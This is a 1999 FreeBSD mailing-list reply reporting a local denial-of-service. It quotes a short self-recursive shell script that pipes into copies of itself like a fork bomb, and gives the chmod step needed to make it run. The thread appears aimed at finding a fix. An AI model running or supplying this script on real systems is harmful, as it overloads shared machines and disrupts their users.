Date: Sat, 10 Apr 1999 10:21:49 +0400 (MSD) From: Dmitry Valdov <dv@dv.ru> To: oZZ!!! <osa@etrust.ru> Cc: freebsd-current@FreeBSD.ORG Subject: Re: DoS from local users Message-ID: <Pine.BSF.3.95q.990410101952.21940A-100000@xkis.kis.ru> In-Reply-To: <Pine.BSF.4.10.9904100226300.531-100000@ozz.etrust.ru>
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On Sat, 10 Apr 1999, oZZ!!! wrote: > Date: Sat, 10 Apr 1999 02:27:22 +0400 (MSD) > From: oZZ!!! <osa@etrust.ru> > To: Dmitry Valdov <dv@dv.ru> > Cc: freebsd-current@FreeBSD.ORG > Subject: Re: DoS from local users > > > > Hi! > > Try it: > > > > cat > qqq > > echo $$ > > echo ~/qqq|~/qqq|~/qqq|~/qqq|~/qqq > > > > Ctrl-D > > > > ./qqq > > > > Is there Any way to fix it? > > > > Dmitry. > > > % cat > qqq > echo $$ > echo ~/qqq|~/qqq|~/qqq|~/qqq|~/qqq > % ./qqq > ./qqq: Permission denied. > % > & what fix? > Oh, sorry, chmod 555 qqq. I was drunk a little :) Machine will have load average about 20-40. Dmitry. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message
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